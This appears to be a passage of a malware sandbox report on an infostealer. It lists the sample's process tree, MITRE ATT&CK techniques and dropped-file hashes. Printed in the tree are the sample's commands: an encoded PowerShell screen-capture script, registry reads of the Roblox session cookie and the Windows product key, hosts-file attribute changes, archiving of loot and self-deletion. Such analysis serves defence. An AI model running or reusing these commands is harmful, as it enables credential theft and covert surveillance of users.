CgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      PID:688
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        
        PID:1640
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\k5j5eza1\k5j5eza1.cmdline"
        6⤵
        
        PID:4404
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6494.tmp" "c:\Users\Admin\AppData\Local\Temp\k5j5eza1\CSC9C60D9D3BB0641EF95EF4F163BA3D7FD.TMP"
        7⤵
        
        PID:2360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:2808
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:4544
    - - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4380
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:1236
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:5020
    - - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4660
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:1080
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:3920
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:4964
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:2996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:2484
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      PID:228
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:4908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:3712
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:1044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        
        PID:4604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI37082\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\7K9SW.zip" *"
      4⤵
      PID:5080
    - - C:\Users\Admin\AppData\Local\Temp\_MEI37082\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI37082\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\7K9SW.zip" *
        5⤵
        Executes dropped EXE
        
        PID:4496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:2560
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        
        PID:908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:4464
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:2696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:2760
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:3140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:5036
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:3904
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:4348
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      PID:4292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        
        PID:3588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\AppData\Local\Temp\Windows.exe""
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:3440
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 3
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9cfef1ea346cb31c9c965b23326a89572ee827ab8d9f283a503c45c07b00c7d9
MD5 753872e3fd5692894c5c4deac90a900b
SHA1 f3165119c208876b0d8c4e525f260f20503d9425
SHA512 5944a4783e02674c41ba54527acd1c7104e2ae091309d254550a41707e0b4152b31bc0ccb9bf463577a8e2d973fddd1051103df7309fcea20b3a391ac7fac2ac
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e6694a338c27f634e807bb29eda82f75a423e85d12f82cb3160e02da5ed0ae2d
MD5 013e34f444f5936ffe66fa0b2f76835c
SHA1 c19f6aadfaa98d2e4e526c7dcfd11e0f15194305
SHA512 abe2b2b5b6c2d1aea1a2db3cc2147170c764aa24461ca8f25afcd91990739a383f46b1b5168f29615d02901ab12197296b9738c21b5245827d6ecc187a4b8d4b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 e2d58b9960b5fb2b8648dbb620188dd7feadcb0f652ad6ce46ccdc0b363b211d
MD5 b0750a92decc470440c478275ca19dc2
SHA1 809a3d86e6db66e1c4ce1e0736759259e1b26dc1
SHA512 906dac3c666b2e21f6b312031a8ebc107403e46ffea9ff758fd719ede2dd4e01eab11806e4843252c00239662027b51fb752e61f8c2c1384bc8df92eaa39bae2
MD5 SHA1 SHA512

Submit Download

RES6494.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6494.tmp
Size 1KB
SHA256 be014878c802d8bddd891d9255a5fd205886fe30928e0f06c675c9200a4847b1
MD5 233c4343755117edb7029549eec18f92
SHA1 073c4131ef5d19c312f08d624b83bf07f805db94
SHA512 3ec331d1fc7f7569e59f5fa86dc0662b0a1e95374cf3c1c27c3a507a5be00c14c3c4b5c81c115b2b981de868970787104e05c21a69944310eed036de33ca4419
MD5 SHA1 SHA512

Submit Download

Windows.exe

Path C:\Users\Admin\AppData\Local\Temp\Windows.exe
Size 7.6MB
SHA256 afe91dd2393231dc196ba543755ef15d0a9b61fa82db7c7860225c4c4453316d
MD5 cc2114b73f3bb32fca9e079b23c39b2e
SHA1 8d883cce836b04c18cecc827d7ca39662d65a9eb
SHA512 74d27410d5a0f978c611e5911c0250808aaf7dbc77a84f315f00f63962a366b8f5f1cfb1a1a9f11b8c8faf30f31e85180582fc8182d648cda237652f7b1e76cb
SSDEEP 196608:AGD+kdduSwfI9jUCBB7m+mKOY7rXrZusoSDmhfvsbnTNeWW:X5nuxIHL7HmBYXrYSaUNg
MD5 SHA1 SHA512 SSDEEP

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\VCRUNTIME140.dll
Size 117KB
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e
SSDEEP 1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5 SHA1 SHA512 SSDEEP

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_bz2.pyd
Size 49KB
SHA256 43f812a27af7e3c6876db1005e0f4fb04db6af83a389e5f00b3f25a66f26eb80
MD5 e1b31198135e45800ed416bd05f8362e
SHA1 3f5114446e69f4334fa8cda9cda5a6081bca29ed
SHA512 6709c58592e89905263894a99dc1d6aafff96ace930bb35abff1270a936c04d3b5f51a70fb5ed03a6449b28cad70551f3dccfdd59f9012b82c060e0668d31733
SSDEEP 1536:fTvumeSe2uD4e4elA5woMImLVQhyUzR9AfIIoT:LvxeSeVd4elAqImLVQLX
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_ctypes.pyd
Size 63KB
SHA256 1c0f9c3bdc53c2b24d5480858377883a002eb2ebb57769d30649868bfb191998
MD5 b6262f9fbdca0fe77e96a9eed25e312f
SHA1 6bfb59be5185ceaca311f7d9ef750a12b971cbd7
SHA512 768321758fc78e398a1b60d9d0ac6b7dfd7fd429ef138845461389aaa8e74468e4bc337c1db829ba811cb58cc48cfff5c8de325de949dde6d89470342b2c8ce8
SSDEEP 1536:sgnr/ptw33m0QDInUz2fH3JrlFCFfLaImyP7TyUzR9zfIP0:fnrhtoW0QSu+EFfWImyP7UM
MD5 SHA1 SHA512 SSDEEP

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_decimal.pyd
Size 119KB
SHA256 41b0b60fe2aa2b63c93d3ce9ab69247d440738edb4805f18db3d1daa6bb3ebff
MD5 9cfb6d9624033002bc19435bae7ff838
SHA1 d5eecc3778de943873b33c83432323e2b7c2e5c2
SHA512 dd6d7631a54cbd4abd58b0c5a8cb5a10a468e87019122554467fd1d0669b9a270650928d9de94a7ec059d4acebf39fd1cfcea482fc5b3688e7924aaf1369cc64
SSDEEP 1536:B3UVX099NzjRjBmFTSki6cbA8VDEcZJDY/LB7cMvVPcc1di9ImvqxEMmTyUzR98K:B3UWVzVjp6cb+SqOMtPc9ImvqxExn
MD5 SHA1 SHA512 SSDEEP

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_hashlib.pyd
Size 36KB
SHA256 a9f24ad79a3d2a71b07f93cd56fc71958109f0d1b79eebf703c9ed3ac76525ff
MD5 0b214888fac908ad036b84e5674539e2
SHA1 4079b274ec8699a216c0962afd2b5137809e9230
SHA512 ae7aee8a11248f115eb870c403df6fc33785c27962d8593633069c5ff079833e76a74851ef51067ce302b8ea610f9d95c14be5e62228ebd93570c2379a2d4846
SSDEEP 768:WzzaDWoin9vvSfhb8pnTImvI9qJyUFRYT2Ip4ygCxf1mlzzF:WzOW6JQTImvI9WyUzR9yRfIPF
MD5 SHA1 SHA512 SSDEEP

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_lzma.pyd
Size 87KB
SHA256 3e749f5fad4088a83ae3959825da82f91c44478b4eb74f92387ff50ff1b8647d
MD5 adeaa96a07b7b595675d9f351bb7a10c
SHA1 484a974913276d236cb0d5db669358e215f7fced
SHA512 5d01d85cda1597a00b39746506ff1f0f01eeea1dc2a359fcecc8ee40333613f7040ab6d643fdaee6adaa743d869569b9ab28ae56a32199178681f8ba4dea4e55
SSDEEP 1536:+E29OZvi4bwTlI+rWNp+UavNhym9PcIbiQZWL22eMBYqj8uyDM/2Im01rqyUzR9u:+MviSJj+JymBBBZIheEjMoOIm01rtWO
MD5 SHA1 SHA512 SSDEEP

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_queue.pyd
Size 28KB
SHA256 ef361936929b70ef85e070ed89e55cbda7837441acafeea7ef7a0bb66addeec6
MD5 766820215f82330f67e248f21668f0b3
SHA1 5016e869d7f65297f73807ebdaf5ba69b93d82bd
SHA512 4911b935e39d317630515e9884e6770e3c3cdbd32378b5d4c88af22166b79b8efc21db501f4ffb80668751969154683af379a6806b9cd0c488e322bd00c87d0e
SSDEEP 768:3e8XPAVnB8JpeEIm9UtEJyUFRYT2Ip4mTxf1mlBqsovFfY:TgB8CEIm9Ut4yUzR9GfIQsotfY
MD5 SHA1 SHA512 SSDEEP

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_socket.pyd
Size 45KB
SHA256 4ecd63f5f111d97c2834000ff5605fac61f544e949a0d470aaa467abc10b549c
MD5 65cd246a4b67cc1eab796e2572c50295
SHA1 053fa69b725f1789c87d0ef30f3d8997d7e97e32
SHA512 c5bf499cc3038741d04d8b580b54c3b8b919c992366e4f37c1af6321a7c984b2e2251c5b2bc8626aff3d6ca3bf49d6e1ccd803bd99589f41a40f24ec0411db86
SSDEEP 768:pOVO07RbhED2LEIuo4OCYkbaEts+Z85iEsaAEwAptjvImywAmmJyUFRYT2Ip4Ep5:GPkD2LEIuo4E5CpZEbjvImywAmKyUzRs
MD5 SHA1 SHA512 SSDEEP

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_sqlite3.pyd
Size 59KB
SHA256 67a887d3e45c8836f8466dc32b1bb8d64c438f24914f9410bc52b02003712443
MD5 f018b2c125aa1ecc120f80180402b90b
SHA1 cf2078a591f0f45418bab7391c6d05275690c401
SHA512 c57580af43bc1243c181d9e1efbc4aa544db38650c64f8ece42fbcbe3b4394fcadb7acfb83e27fbe4448113db1e6af8d894fb4bd708c460cf45c6524fcfdef96
SSDEEP 1536:6Ze1bxjT8JFeEl4m6MisPI9eATFaImvQgNyUzR9+fIP2:6AbFT8JcEem65sw9eSgImvQgtu
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI37082\_ssl.pyd
Size 68KB
SHA256 67ed13570c5376cd4368ea1e4c762183629537f13504db59d1d561385111fe0a
MD5 309b1a7156ebd03474b44f11ba363e89
